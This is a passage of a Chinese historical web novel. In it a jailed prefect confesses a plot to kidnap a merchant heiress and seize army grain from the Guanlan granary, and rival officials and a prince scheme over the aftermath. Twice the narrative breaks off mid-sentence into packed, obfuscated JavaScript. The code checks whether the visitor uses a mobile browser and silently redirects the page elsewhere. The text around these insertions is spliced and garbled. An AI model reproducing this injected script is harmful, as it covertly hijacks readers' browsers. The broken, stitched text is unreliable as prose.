“独女?”江出捧着受伤的手,“江南紫绣庄李家世代从商,起初发家于刺绣和丝绸生意,后来也逐渐做别的买卖,生意经营之广之大,已经到了其他从商家族都无法企及的地步。”江出一直保有着斥候的敏锐,在获取消息方面从不认输,说到兴头上了,话也开始往夸张了说:“据说其财力之雄厚可比宣州州府,营商范围之广能超越擎南章州罗家,这家大业大的,怎会就一个独女?” “家族独女不至于,是嫡系一脉里只剩下一个寡母带着一个女儿,所以李家以后经商基业八成也是传到这个小女儿手里。”黄碚还是平静的说。 江出顺势推测:“传闻紫绣庄自上一辈起就由女人经商管家,如今生意做得大,遭人嫉妒什么的也不是没可能,这么看来那几个人要么为财,要么是李家生意上的仇家派来的。” 黄碚叹了口气:“女子本就不易,饶是这样的人户,一听说是孤儿寡母,那些心存歹念之人胆子便就大了几分,不然怎敢光天化日做这事。” 姜长鹰微微颔首,“好在人救下来了,先派人寻那孩子的家人来,审讯的事情交给知尹曹大人即可。”说完忽然又想起什么:“今日可有见到丁越?” …… 还未等到有人回答,外面曹府衙役来寻姜长鹰,“指挥使大人,我家大人请您去衙门一趟,事关今日内城抓获匪徒之事。” —— 知尹府衙内设监牢,只做临时看押用,姜长鹰被衙役引至这里,没有看到知尹曹忠,只有沈溟和丁越在监牢外站着。 “御史大人。”姜长鹰行了一礼,沈溟看着他,点了点头。 “指挥史。”丁越开口道:“曹大人在里面。” 沈溟抬起手向监牢内示意,姜长鹰便率先迈入,牢内昏暗,墙上挂着油灯,里面无风,灯火静静发着幽光,被熏得黑囷囷的墙皮和着监牢里的阴冷潮湿,散发着奇怪的霉臭。右侧狱室尽头,熟悉的声音传来。 “御史大人!御史大人,我没有通敌……通敌的不是我,是,是邢柏年,都是邢柏年……” “曹大人?”姜长鹰愕然。 “曹忠,把你做的事和姜大人交代一下吧。”沈溟淡淡的命令道。 “可,可是,姜大人,他……”曹忠眼神飘忽,犹疑不定,嘴唇翕动迟迟说不出一句完整的话。 姜长鹰也对眼前的一切不可置信,不明白一向将官架子端得游刃有余的瑞城知尹曹忠,怎就在一夕之间成了这副狼狈样。姜长鹰看向沈溟,询问也似。沈溟却没看他,只是对曹忠冷冷道:“姜大人不会为你求情,不过姜大人也不会要你的命,你要做的就是老实说出你知道的。” 曹忠在悲恸中回神,看着并肩而立的姜长鹰和沈溟,泪光凝结,似有触动,又在下一个瞬间,一双眼睛失去所有光亮,彻底黯淡下去。 “卑职……罪,罪臣在上月收到一封密信,来自云城都指挥使邢柏年亲笔,上写:‘李氏遗独珠,易粮凭借辎。’”他用悲凉的语气,近乎破罐子破摔的开始陈述罪行。 “李氏是谁?独珠是什么?易的什么粮?借辎又是什么意思?”沈溟一连串发问,他心如明镜,却仍要曹忠将内情一一吐出来。 “李氏——江南第一商,紫绣庄李家,李家大掌门三房遗孀,萧弗,育有一女,名唤李墨馨,在那个女人经商掌家的李家,李墨馨是萧弗唯一的传承者,也是她此生所有的希望,堪比命根子。本月,邢柏年有一批货,无人能运,只能借助李家商运的力量,邢柏年要劫持这个独女,作为萧弗答应他的筹码。” 似乎是累了,曹忠身体完全卸了力,屈膝摸到一个草团,就着坐下来。他抒了口气,缓缓道:“那批货,在邬城,就是观澜仓里的军粮。” 没想到曹忠平静的酝酿下,脱口说出来的竟是这样骇人的答案,姜长鹰不禁往前一步,“你说什么?”除了震惊,那意思里分明还有“你知道你在说什么吗?”的质问。 曹忠已经失去了对怒火的感知,只是继续陈述着:“江南水患和下拨军粮的时间交织在一起,总归是个麻烦事。往年总是赈灾靠后,一切以军粮下拨为主。然而今年,没想到却忽然不一样了。” 巡灾的事情处理到现在,赈灾粮的事情还没有消息,这的确是近来姜长鹰最为关心的事。 “赈灾粮的旨意下来了,紧随其后的还有另一道旨意,不日也会抵达江南。可能江南九城中,也就姜大人你还完全不知。” “赈灾粮和另一道旨意?”姜长鹰疑惑不解的看向沈溟,“是指什么?” 沈溟看向姜长鹰,“这两日我本想找机会跟指挥使说赈灾粮的事,但是一直没有找到合适的机会。朝廷关于赈灾粮有定论了,会直接从观澜仓出。” 姜长鹰和丁越都颇为惊讶。 “赈灾不是小数,这样的话,暮北军粮下拨怎么办呢?”丁越问到。 “换仓拨粮。”曹忠喃喃道。 三人齐齐看向他,曹忠像是在笑,但是面上又分明极度苦涩。 姜长鹰听不懂,但是他直觉某个蒙尘已久的东西正被风轻轻拂去表层灰烬。 “换仓拨粮?” “大程国每年要四次向五方军下拨军粮,各地都有军屯,唯有暮北是个不毛之地,岁比不登。这些,想必曾经的姜大帅,十分清楚。暮北军只能依靠江南的观澜仓,然而今年江南水患来势汹汹,赈灾粮若从别处调运,远水不解近火。 原以为水患么,发一波粮食,再平一波民乱也就过去了,谁想到,今年的江南百姓不知道烧了哪路的高香,姜大公子在水患稍稍起势就觉察到了灾情,指挥史马不停蹄的到各城巡视,永益皇城还下派了足智多谋的巡按御史坐镇抗灾,现在连赈灾粮,都能抢过护国第一军暮北军,率先得到观澜仓的供给,我江南百姓,真真是福厚啊。”曹忠莫名的喜悦起来,仿佛想要开怀笑两声,终究是笑不出来,干涩的眼角又垂下去,呆呆的看着地面的枯草。 “内阁拟定了个换仓拨粮的新章程,不知道怎么就说动了陛下,观澜仓的粮食从此不再是暮北的专属。观澜仓的粮不去暮北,不经过醒茶港,姜大人,你知道这对于很多人来说,意味着什么吗?意味着冒犯,意味着亵渎。” 沈溟冷哼一声:“那邢柏年知不知道,劫军粮,私贩军粮,都是死罪。” “哈哈哈……”曹忠嗓子里低声讪笑着,“是啊,换仓拨粮的旨意一下,邢柏年就被定下了死罪。人只能死一次,他还有什么可怕的。” 沈溟懒得看牢中人情仇百转,他向姜长鹰陈述了乔广陵传来的永益城消息:“今年第三次下拨军粮在即,但是赈灾粮只有从观澜仓出,方能救百姓于水火,何况江南春种关系国本,也影响明年军粮供给,不能不重视,但是今年核算军粮耽误了些时间,暮北那边也等不及,所以内阁谏,暮北军粮由醉临、擎南、宣中分批供给暮北。” “圣旨何时下的?” 监狱巷道尽头,直棂窗里的天空灰白一片,除了偶尔泼洒进来的光束,外面的一切都难以通过这小小的窗户得以窥探,沈溟望着那窗,“半月前,不日便会抵达江南。醉临下滩郡仓的粮,估计已经在运往暮北的路上了。” 沈溟说完,姜长鹰未有所动。丁越了解姜长鹰,他的主帅此刻肯定心乱如麻,对于眼前的事情毫无头绪,他弱弱的喊了声:“指挥史——” 沈溟闻声转头看姜长鹰,他仍凝神看着眼前的狱门,侧颜里,不知何时多了裹上了一层难言的冷峻。 沈溟来江南的真正意图为何?观澜仓军粮牵扯了多少朝中利益?曹忠何时与邢柏年勾结?他们幕后之人是谁?换仓拨粮是内阁所谏,还是内阁的某个人的谏言?这些问题就像团在姜长鹰心头的疑云,百思无解。但此刻这些不是最重要的,最重要的是,观澜仓现下怎样?当年自己军功赫赫,只因开仓放了赈灾粮,尚且贬谪江南,沉吟至今,此刻守着观澜仓的是自己的长子姜南阗,一个尚且十六岁的孩子,怎样在毫无防备的情况下抵御这场有规划有预谋的劫仓。 沈溟看了一眼丁越,想寻个眼色,好知道此刻姜长鹰处于什么状态?但丁越这厮似是有意不去看一眼沈溟,将他晾在一边,满是关切的眼睛只是盯着自己的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15118344|164060||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 指挥史大人。 沈溟暗暗冷哼了一声,冲曹忠道:“换仓拨粮的旨意一下,永益城的某些人坐不住了,所以邢柏年这颗棋子要发挥他最后的作用,最后这步棋就是朝观澜仓下手,抢劫军粮?” 曹忠声带苦笑的摇了摇头,最后又点头道:“你早就知道了。” “没错,你脑子还没完全坏掉。” “我早该知道,永益城怎么今年突然派个巡按御史来,看来内阁还是抢先一步了。” “什么抢先一步,是你们贪心不足,自掘坟墓,加上运气不太好。”沈溟走到狱门前,轻笑道:“怎么样,曹大人,听到绑架李家姑娘的绑匪被姜大人擒获,惊了一身汗吧?可笑当被抓的人送到你府衙,你才发现,这几个人不是你派去的,而是真正的土匪,他们将你安排绑架李墨馨的人杀了,想自己捞一笔。于是你转念一想,反正死无对证,观澜仓劫军粮成功也好,不成也罢,没了李墨馨这个筹码,邢柏年左右都是个死,你却托这几个土匪的福,没有了罪证。” 曹忠浅笑,“是啊,可惜人算不如天算,邢柏年和我,皆在御史大人的鼓掌之中,只是御史大人也没想到吧,邢柏年一面策划劫军粮,一面在云城勾结海贼。您消息灵通,占尽先机又如何,虽然我被抓了,也没有李家商运来善后,但是坞城那边刑柏年的人不会取消行动。此刻是去坞城除匪,还是去云城抗贼?想必御史大人也很犯难吧?” 曹忠笑容逐渐狰狞,激动不已,转而盯着姜长鹰:“姜大人,守好观澜仓是你的职责,军粮有失,别说你自己,你全家都难逃一劫,然而御史大人明明早就知道观澜仓有异,却为何不及时叫姜大人回坞城,看来,牢里牢外,我和姜大人别无二致,任人利用的棋子罢了。姜大人,望你常常能想到我今日境况,时刻警醒才是。” “闭嘴。”十七岁还未脱去少年的莽撞,丁越脱口驳斥道:“枉你为官十多年,于国于民有益之事未见你做过,手里沾染的尽是些腌臜龌龊勾当,什么棋子,什么利用,别拿自己和指挥史大人比,也别拿你背后那些国之蛀虫和御史大人相提并论。”丁越没有耐心看沈溟审问曹忠,转头对姜长鹰道:“指挥史,观澜仓的事你不用担心,御史大人已有应对之策。不会有事的。” 姜长鹰早已镇定如初,拍了拍丁越的肩膀,话却是对沈溟说的:“御史大人,是否已有安排?” …… 沈溟欲言又止,像是在斟酌,又像是在为难。 “哈哈……哈哈哈……”曹忠干笑道:“姜指挥史,是去云城抓邢柏年,还是去坞城救儿子?你现在恐怕想选都没得选吧,你、我和邢柏年一样,要做什么,并不能由着自己的意愿。”曹忠只是被下狱,并未用刑,他还是平日里那身灰褐色常服,束发带冠,此刻深陷囹圄,尽显苍老、狼狈。满脸横肉、大腹便便的曹忠,于脏乱的杂草间,竟无半点突兀。沈溟冷眼看着他,像是在看某种牲畜。这样的人,里里外外没有半点地方可配为一方父母官。 “哈哈哈——”曹忠还勉强的笑着,“方才见你们进来,我看你和沈御史,当真是玉树临风,飒爽豪杰,一时竟真以为你我不一样,看来我还是错了,嘿嘿,什么季鹰军主帅,什么天下第一军,什么姜长鹰,你不过和我一样,蝼蚁罢了,嘿嘿嘿……” “笑够了吗曹大人,只是绑架,罪不至死,交代出邢柏年海贼内应,你可以活。” “活?”曹忠似乎对这个字有了极大的兴趣,忽而想起什么,一双粗手倏忽抓住狱门,“我知道了,我知道了,邢柏年死路一条,他还是做了这么多,他要活,我和他,能活的只有他。” 沈溟蹲下身看着曹忠,平静的问他:“邢柏年为什么能活?你为什么不能活?” 曹忠从刚才那刻起像是忽然理智起来,认真的说:“我活了,不过是从他们的棋子变成你的棋子,军粮的事情一了,终究是死。邢柏年不一样,他在云城盘踞多年,必定在贼人那里,寻了一条生路,对,有生路,他有生路,他有生路,有生路的,我早该想到,他肯定有生路……”曹忠越说越笃定,嘴里不停的念叨起来。 “那你觉得——” 沉稳有力的声音在头顶响起,姜长鹰睨看曹忠,问:“海贼进犯大程国土之时,又有谁能得生路?” 曹忠怔住了,一时间睁着双眼没有言语,他的意志像风中芦苇随风摇摆,在姜长鹰的气势中弱弱低吟:“是啊,还有你,你姜长鹰,没得选,你是指挥史也罢,是将军也罢,一旦海贼进犯,你这样天生的将领,唯有服从上命,抗击敌军,所以你肯定会去云城,邢柏年注定会失败,注定会死,还是要死,我也是,都要死,都要死,死了好,哈哈哈……” 沈溟缓缓起身—— 三人看着曹忠一步步走向混乱疯魔的边缘。 “我们都是蝼蚁,随意牺牲了没什么,但是他们的计划,他们的利益,永远不会停止,永远不可有损失,是他们赢,还是他们赢……哈哈哈,还是他们赢……”曹忠又笑起来,仰头望向了暗不见光的牢顶。漆黑里,有曹忠幻想出来的结局,兴许,想中的结局,才能稍稍让他接受。 9.出将 “我赢了。”小阿辰嘟囔着嘴巴,“我运气好差。” 另一边,输了的乔矜看上去反而气定神闲,没有落败的不豫。 “怎么赢了还说运气差?”乔广陵抱着一摞书走进书阁,正厅后面的暖堂里小阿辰和乔矜正在下棋,两个小孩下的是一种被称之为巫牌的棋,乌木为质,红漆为章,雕刻奇鸟异兽,棋局的走法和规则,依据北方暮寒山的神话传说绘制,巫牌的字,形似小篆,却比小篆棱角锐利,是北方赖食国的文字。 “今日怎么把巫牌拿出来玩了?”乔广陵朝他们中间的小桌上看了一眼,径直走进去把书放在后方主位桌案上,又走到两孩子身边席地坐下。“你们在比什么?” 小阿辰捏着一枚棋,委屈的说:“主子说和我比巫牌,谁赢了谁下个月就跟着沈哥哥习刀法。” “阿辰不是很想学沈哥哥那套刀法吗?”乔矜往棋奁中一颗一颗的丢着棋子,“阿辰学的又快又好,到时候我可以教我。” “沈哥哥的刀法我是喜欢,但是沈哥哥这个人就……” 五岁的小阿辰没继续说下去已足够懂事,但是乔广陵就没那么体贴,接茬道:“小阿辰,沈哥哥是不是挺烦人的?” “嗯。”小阿辰点了点头,随即又找补了句:“沈哥哥喜欢逗小孩。老爷,沈哥哥那么喜欢逗小孩,为什么自己不生一个?” “若是生了小孩,恐怕就不会见到小孩就去逗了。”乔矜一本正经的说。 “为什么?”乔广陵好奇问道。 “倪奂哥哥和倪昌哥哥就是很好的例子。他们之前和沈哥哥差不多,但是自从倪昌哥哥今年五月得了儿子,看到我们就不再那么没正行了。”乔矜奶声奶气,慢条斯理的说。倪奂倪昌兄弟二人和沈溟一样同在五城兵马总属司任职,三人均为兵马总属司的千户总镇。只是这三人中,只有沈溟没有经过吏部考绩,属于特意提拔的那个。 “好像是。”小阿辰点头附和。 “也有例外。” “嗯?” “你看爹爹,虽然有孩子,但也是经常没正行的,北林叔就经常说他‘有孩子的人还这么孩子气。’” 乔广陵敛了笑容,“怎么就说到你父亲头上了?” 小阿辰似乎又对乔矜的话产生了认同,补充道:“小主子你说的对,北林叔也没孩子,但是他就一直很稳重。” 乔广陵一边揉着一颗脑袋:“怎么还踩一个夸一个呢?” “老爷。”怀里的一颗脑袋挣扎冒出来,“沈哥哥是不是丢了?” “嗯?为什么这么说?” 另一颗脑袋也冒出来:“不然为什么要派北林叔去找他?” 乔广陵被怀里两个小崽子逗得忍不住嗔笑一声:“沈哥哥没丢,是玩的忘记回来了,所以你们北林叔打算亲自去把他抓回来。” “爹爹,江南真的好玩吗?能让沈哥哥乐不思蜀。” “兴许,沈哥哥在江南遇到有趣的人了,说不定遇到比我们聪明的小孩,沈哥哥逗开心了,不想回来。”小阿辰有理有据的猜测着。 “若是沈哥哥真的遇到比你们聪明小孩,不喜欢你们了,该怎么办?” “嗯……”小阿辰似乎真的陷入了这样的难过,嘟囔着说:“那我只能变得更聪明,才能让沈哥哥继续教我学武。” 乔广陵刚要说话,小阿辰继续道:“学了武,就去打跑那个聪明的小孩。”乔广陵顿时语塞,刚要夸小阿辰的溢美之词被无声的噎在心口。 自己的儿子没吱声,乔广陵没有放过他,“予鹿,你呢?” 乔矜侧着头蹭在父亲的怀里,“那我会很想见见那个很聪明的小孩。” ****** 丁越歪在知尹府别苑廊下,他看着御史大人的房门紧闭,不知道在思考什么。 吱呀一声,门倏忽由内打开,沈溟从里间走出来。 丁越站直了身,“御史大人。” “我当谁呢,原来是指挥使送我的小护卫。怎么了小丁越,你是特意来照看我的还是找我有事?” 沈溟内着清灰祥云暗绣滚边圆领袍,外面随意披了件黛青色长衫。满头青丝只用木簪挽一小撮在脑后,其余则慵懒的垂着,细看还有水珠挂在发丝上。 丁越挪开了眼,递过去一封信。“大公子自坞城快马送来家书,里面还夹了封信,说是给御史大人的。” 沈溟接过那信,上面写着“沈启”二字。除了褶皱,毫无破损的痕迹。“季鹰军斥候果然神速。”沈溟笑问:“亲儿子家书中居然有给外人的东西,指挥使也不好奇吗?” “指挥使没说别的,除了信,指挥使还让我转告大人,他愿意亲自押解那几名土匪去往云城。明日启程。” 姜长鹰给给的回复来得出乎意料,无论是速度还是结果。沈溟怔愣少顷,随即打开手里的信,看也没看就将他递给了丁越。 丁越将两面都瞧了,一片空白。 沈溟盯着丁越的脸色,“你也不好奇?” 丁越边折起那纸边道:“或许御史大人看到这封信的时候,写信之人就将要告知的内容传达到了。” “姜指挥使愿意去云城,是当真觉得自己没得选?”沈溟看了丁越片刻,认真的说:“如果他不想去,或者出于对坞城的担忧对我有别的请求,在我看来都合情合理。” 丁越此刻沉稳得不像是个少年,“我想,指挥使是相信大人的。” 沈溟起初还有些触动,但还是毒辣的看穿了丁越对自己的防备,他这是为姜长鹰向自己博好感。“那你呢?观澜仓若是有事,非同小可,你不劝劝你的指挥使吗?” 丁越想了一下,看向沈溟,“那晚御史大人令我将指挥使喊来,说是有要事相商。后来便是让指挥使将您病重的消息散布出去,还给云城段将军去信,宣称自己不日便要回永益城。再后来您又让我派人秘密监视曹忠。我开始意识到,大人从始至终,都不是单纯为了赈灾才来江南的吧。我觉得曹忠说的没错,江南发生的一切,兴许早都在大人您的掌握之中。” “那曹忠还说我只谋求自己的目标,而你家指挥使,不过是一颗棋子罢了。你又怎么看呢?” “……”丁越不知如何回答,其实这正是他所担忧的。 沈溟轻咳了两声,他拢了拢衣衫,转身准备回屋。 “曹忠的话不值当你听进去,他一句都没说对。我不是算无遗策之人,你家指挥使也绝不会成为任别人摆布的棋子。” 沈溟走到桌前喝了口水,突然屋内稍稍一暗,门当啷一声被丁越关上了。沈溟转过身,看着朝自己走来的丁越,莫名有些慌。“丁越,我……” 没等沈溟说出句整话,丁越走到身边,将滑在沈溟肩上的外衫重新裹好,又伸手挑了一绺发丝在掌心。 “大人刚沐浴完就站在晚风中,当心病情加重,我替大人将湿发擦干。” 沈溟眯了眯眼,笑道:“看来姜指挥使没安排你跟着去云城。” “嗯,我不是早被派来照顾御史大人了吗。”丁越一脸单纯的回答完,便去里间寻帕子。 沈溟也跟着进去里间,“不碍事,一点风寒罢了。你跟着我也行,或许指挥使会多一层安心。” “指挥使所忧皆在坞城。” 丁越拿着帕子站在圆凳前,沈溟见他执意照顾,便走过去坐下。 丁越揩着沈溟的发,用干帕子轻柔的镇着。“确实如此,御史大人对江南相对陌生,我跟着您,指挥使会放心许多。” 虽然看不到丁越神情,但沈溟此刻却觉得这话是不像假的。不过细想想,他若有差池,姜长鹰必定被问责。 “大人。”丁越轻轻放下沈溟的发,将其拨弄整齐。尔后走到沈溟身前,半跪着望向沈溟道:“大人既认定我是护卫,就请大人任意驱遣。” 沈溟故作轻松,微微一笑道:“倒也,不必如此,谈不上驱遣……” “大人,你可以完全信任我。”丁越抬头直视沈溟的眼睛。 沈溟神情微敛,那双年轻的瞳里,有无尽的真挚。 —— 天微明,江出捧着姜长鹰的兜鍪,站在瑞城城门外。 于城垛之上,沈溟和姜长鹰看着瑞城内外,皆是沉默。 沈溟看着姜长鹰,这个人从知尹监牢出来就一直缄默不语,心内千万个疑问,却一个也未曾问出口。昨日夜间,丁越转述了姜长鹰将自愿去云城的决定,沈溟试图从丁越处打探姜长鹰的想法,这小子遮掩得不算高明,却也能做到半点口风也不漏。 计划没有和盘托出,纵然彼此没有交心,但此刻也必须做到十足的信任。只能亲口问问姜长鹰内心所想,再掏心掏肺一番。 沈溟心中这番想着。 “我去云城。”没想到姜长鹰率先开口了。 “指挥史大义,只是这是你内心的选择吗?” “如若不是?” “如若不是——”沈溟把玩着一把毛竹扇,轻笑道:“我只能苦口婆心劝劝姜大人,再指天发誓坞城不会有事。” 姜长鹰先是一愣,回身看向沈溟,这翩翩公子模样的御史大人实在和他认识的所有官场之人都不同。 “恕下官僭越,想问一句沈大人,是自荐来江南督查灾情的吗?” “自荐不假,但是我可不是来巡查灾情的,在永益城待了这么多年,忘水城和泉启城也没什么玩头,不如就来江南玩耍一番。” 姜长鹰看着沈溟说完,不知道信了还是没信。只是接着问:“那,大人为何在进瑞城之前就知道瑞城知尹曹忠会和刑柏年有私?” “我并不知道瑞城知尹通敌,只是无意中发现的,住在他府上,敢在我眼皮底下动手脚,我想不发现都难。我原本只知道邢柏年是个穷途末路的祸患,没想到顺藤摸瓜,拿下了曹忠。至于刑柏年通敌的事,也令我骇然。希望我前日送到云城的第二封信,能够起到作用。只要段悠宏和姜大人里应外合配合好,我想云城之危可解。” 姜长鹰伸出一只手扶住了城垛,环望着城外道:“如此就说得通了。”他十分确信的说出了自己的推测:“这就是沈大人来江南的目的,随我巡视各城,用最快的速度亲自核定江南赈灾所需粮食、药材、银钱,呈报御前,为换仓拨粮争取有利的时机。为保观澜仓,大人在离云城最近的瑞城修整,并放出自己病重的消息,好让邢柏年大胆动手,引蛇出洞。若我没猜错,想必在离开坞城之后不久,大人就为坞城做好了万全的打算。” 沈溟清俊的脸上难得认真,姜长鹰看着他,似乎在等他的答案。等到沈溟点了点头,姜长鹰几不可察的松了松许久的神经。 “那日,也差不多是这样的时辰,我让丁越喊姜大人前来,让大人将我 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“是,她母亲李萧氏,昨日夜间便赶到了,还给大人备了礼,被我拒了,倒是那姑娘,把这簪子给我,执意让我给您,我想也不好驳了小姑娘的心意,便留下了。” “这发簪上的布艺和刺绣……”沈溟看了眼簪子开口道。 这边二人看着他待他说下去。 “没什么,就是觉得别致,又似乎在哪见过。” “李家刺绣堪称一绝,江南这边有俗,姑娘自小要带亲人亲手做的头饰,父母亲人去寺庙里求得珠玉宝石,成年前用布艺刺绣或盘线织花裹上,佩戴在身上,可保平安。” “那这姑娘的心意十分贵重啊。”沈溟感叹完,却见姜长鹰神色有异。“姜大人……” “御史大人。”姜长鹰看着手里的发簪道:“坞城务必不能有事。” …… “姜某直言,此刻不为军粮,只因为守观澜仓的是我十六岁的大儿子,坞城府邸里,有我姜某人的妻子儿女。” 一枚发簪终于让姜长鹰说出了心底最深的羁绊和牵挂,沈溟目光微动,“此刻,我深感,似姜大人这般,才是有血有肉的英雄。” 姜长鹰微嗔,摇摇头,看向日出之所。“姜某不配谈英雄二字,只不过是为私人情感所牵绊的普通人罢了。” “那些随意牺牲家人,连至亲至爱都能舍弃者,又谈什么爱国爱民,不过打着大义的旗帜,踩着亲人的尸骨成就自己,骨子里却是期艾小人的假英雄罢了。”沈溟快意说完,不觉对上黄碚的热诚的目光。老实的黄碚顿觉僭越,别过目光,低下头。 “沈大人此番话,我会谨记于心。” “……呃,这倒不必,随口一说。” “我觉得大人说得有理,”尽管沈溟又开始打哈哈,但姜长鹰却认真道:“真的英雄大义,当是不畏生死的,论付出和牺牲,都当是第一个冲上去的。” “大义到极致的,除了不畏生死,还会不矜名节。毕竟名节往往比生死更加重要。但是这样的人,与傻子何异。” 这瞬间,姜长鹰分明感受到了沈溟言语中不经意略带厉色,心下触动。 “沈大人说的这么义愤填膺,非是遇到过?”黄碚好奇。 日未升,清晨露气清凉,沈溟深吸一口,依旧答得轻松而随意:“假英雄没遇到,真傻子倒是有一个。” —— “御史大人——” 三人循声而望,丁越步履轻盈,正朝这边走来,手里拿着衣物,后面跟着江出。 “指挥史。”匆匆朝自己的主子行了一礼,丁越立马看向沈溟:“御史大人,您穿这么少来这城墙上吹风,是嫌药没喝够吗?”没说完就将手里的披风套在沈溟身上。 江出后脚跟来,还在微微喘着气,他一直守在城下,此刻只略行了礼,旋即一副“真拿他没办法”的模样看着丁越。 迎着城墙上的风,丁越眼角和鼻头微红,却衬得白净的脸上多了几分少年特有的坚毅和温柔。 然而这位意气风发的少年郎却婆婆妈妈追着给自己送衣服,沈溟噗的笑出声,还没笑过瘾,几声便咳嗽破喉而出…… 丁越无奈的拍扶着沈溟的背脊。 “差不多了。”姜长鹰看向远天淡淡的说。 城垛上,几人闻声而望,顺着姜长鹰的视线,东方,盛日破江,光景一新。 10.蓄势 “‘千丝弦,闲不见,见字耽于念;万里音,因长恨,恨墨点心泉……’这曲儿的词填得倒是新奇,听着浅得很,仔细琢磨又好像在说点别的故事。再听听这调子,直觉得往心窝窝里钻,仿佛这曲儿唱的不是别人,就是自己,一个……曾经的自己,可是又想不起来具体是什么时候。” “璃王殿下,不如说,曾经有某一刻,您也是这曲儿中人。” “是啊,人生百态,总有那么一刻,咱们都是那曲中之人。” 璃王府名为竹溪舍的暖庐里,临窗设座。楚珩歪在席上,一只手撑身,另一手架在膝上,隔着水榭听桥中央八角亭里花女弹唱。此刻他一派清雅闲适,品词赏乐,不可谓不高雅风流。 “璃王殿下诗酒曲画皆精,是个风流雅致的妙人。”周岑捧起一杯茶,朝楚珩敬了敬。 楚珩从亭中收回目光看向周岑,“妙人?” 周岑微含笑意自饮着茶水,对于楚珩的打量似乎没有放在心上。 “周大人,我以为你这话是说罗子信的。用在我身上,我倒是惭愧起来了。” “璃王殿下恕罪,下官僭越了,不该随意评述殿下。”周岑话里是谦卑,面容却仍泰然自若。接着道:“罗先生到江南有些时日了吧。” “传来了第一封信,说是沈溟病重,虽然他还是打不过,不过暂时可以不用管他。罗子信去了坞城盯着邢柏年最终动作。倘若邢柏年忙着在云城兴风作浪,分身乏术顾不上坞城那边,起码子信能够确保坞城的行动,不会徒生变故。话说回来,这一局双管齐下,声东击西,还是出自周大人手笔,果然妙哉。” 此前,楚珩派罗途明去江南。罗途明前脚刚走,周岑就又出现在了琼琚楼,楚珩见了他。 面对璃王楚珩,周岑不卑不亢,缓缓出口道:“璃王殿下信不过邢柏年,才会派罗先生去。” “我信不过任何人。”言外之意包括眼前的周岑。 周岑不急,“给别人一条死路,殿下当然信不过,邢柏年又不是傻子,抢劫军粮死路一条,他办得好办不好都是一样,何不给他一条生路,于绝境中看到一线生机,人才会不遗余力。” “只要有一线生机,邢柏年就会奋力一试。”楚恒咂磨着周岑之前的话,回味般的看向周岑,此前你这么一说倒是令本王醍醐灌顶,你如此笃定,我定要拭目以待。 “劫军粮、勾结海贼,进犯大程国土,这些罪名加起来,够了。”周岑轻描淡写,忽然问道,“对了,云城的布局,罗先生……不知道吧。”周岑刻意把语调放的很轻。 楚珩却觉得这话里坠着鼎,又黑又沉,而他不知这正是此时自己的脸色,又黑又沉。 云城的布局,不能告诉罗途明,通敌这件事,表面上看是邢柏年走投无路投敌不择手段的结果,但其实这中间少不了周岑和楚珩的推波助澜。楚珩不清楚,一旦罗途明知道自己和海贼有交,会是什么反应,但他很清楚,那一定会使自己的策划的局面变得不确定,甚至是糟糕。楚珩倒不是觉得罗途明多么的举足轻重,但是目前为止他的确是个趁手的利器,弃之可惜。 周岑这次识相的没有冷场,等待楚珩给自己回答,反而宽慰道:“殿下放心,罗先生此时不知,定当永远不用,也不会知道。” 周岑这是在给他承诺,楚珩脸色稍稍好转。趁着这势头,周岑又问出了自己的另一个顾虑,“我知道殿下已经安排人去淮城接应,其实对于劫军粮,殿下并不打算做做样子?” “既然蔚王的庄子上都备好了暮北的军需,我何不顺水推舟,来个人赃并获,届时送去暮北曝盐港的是蔚王的粮,而屯在蔚王手中的丹药却出自观澜仓。陛下该对自己宠爱的表哥作何感想?” 周岑知道楚珩多年受一个外戚压制,心内愤然,也不过多去勾起楚珩的怒火,只是说,“据说姜长鹰押解几个土匪,送到云城去充军了。”周岑毫不避讳自己也有通消息的路子。“看来邢柏年久居江南,也不是一无是处,居然能想到通过李家商路运送劫来的粮食,倒叫我对他刮目相看。” 楚珩抿下半口茶,没有表现出惊讶。周岑敢和自己共同谋事,知道的肯定不会比自己少,干脆坦诚的说:“李家商运这条路未必能够成功押运所有军粮,刑柏年也未必真觉得坞城的行动能够成功。只是做都做了,肯定要有头有尾,不然只劫不运,在梁仪善那里就说不过去。不过也正好他有此番举动,倒是十分凑巧为我支开了姜长鹰。” “殿下说的是,姜长鹰毕竟是久经沙场,如果他此时听到风声回到坞城,那就麻烦了。只不过,不知这位姜指挥史,是否能恰好赶上云城的这场热闹。” “能不能赶上都没他什么事,季鹰军已是华不再扬。邢柏年通敌攻打云城,到底只是虚张声势。毕竟云城还有个段悠鸿,那段悠宏不会这么窝囊,让一个指挥史上自己的战场。”楚珩自顾筛了杯茶,没有看到低眉浅笑的周岑,两屏长睫下满是深不见底的阴狠。 “璃王殿下说得是,通敌也得拿出相当分量的筹码,否则星末群岛里的那帮蛮人不会轻易出兵,段将军镇守南境多年,海贼哪会轻举妄动。不过观澜仓的军粮对海贼来说确是一大诱惑,所以阿会族①必定会去云城佯攻一番,其后便也撤了。”说完这些,周岑又想起什么似的,轻叹道:“说到姜指挥史,十年都过去,他还真是,一点没变,就这么心无旁骛的做着一城指挥史,此等赤诚忠厚之人,也是可惜了。” 听闻此,刚被哄好不久的楚珩似乎又窜上了那股无名之火,这会正似笑非笑看着周岑。 周岑愣住了一下,旋即哈哈一笑,揭过不提。余下时光,周岑扯了两句无足轻重的,便找了个由头告辞了。 暖庐内,独留楚珩,但他却再也无心品茗赏乐。 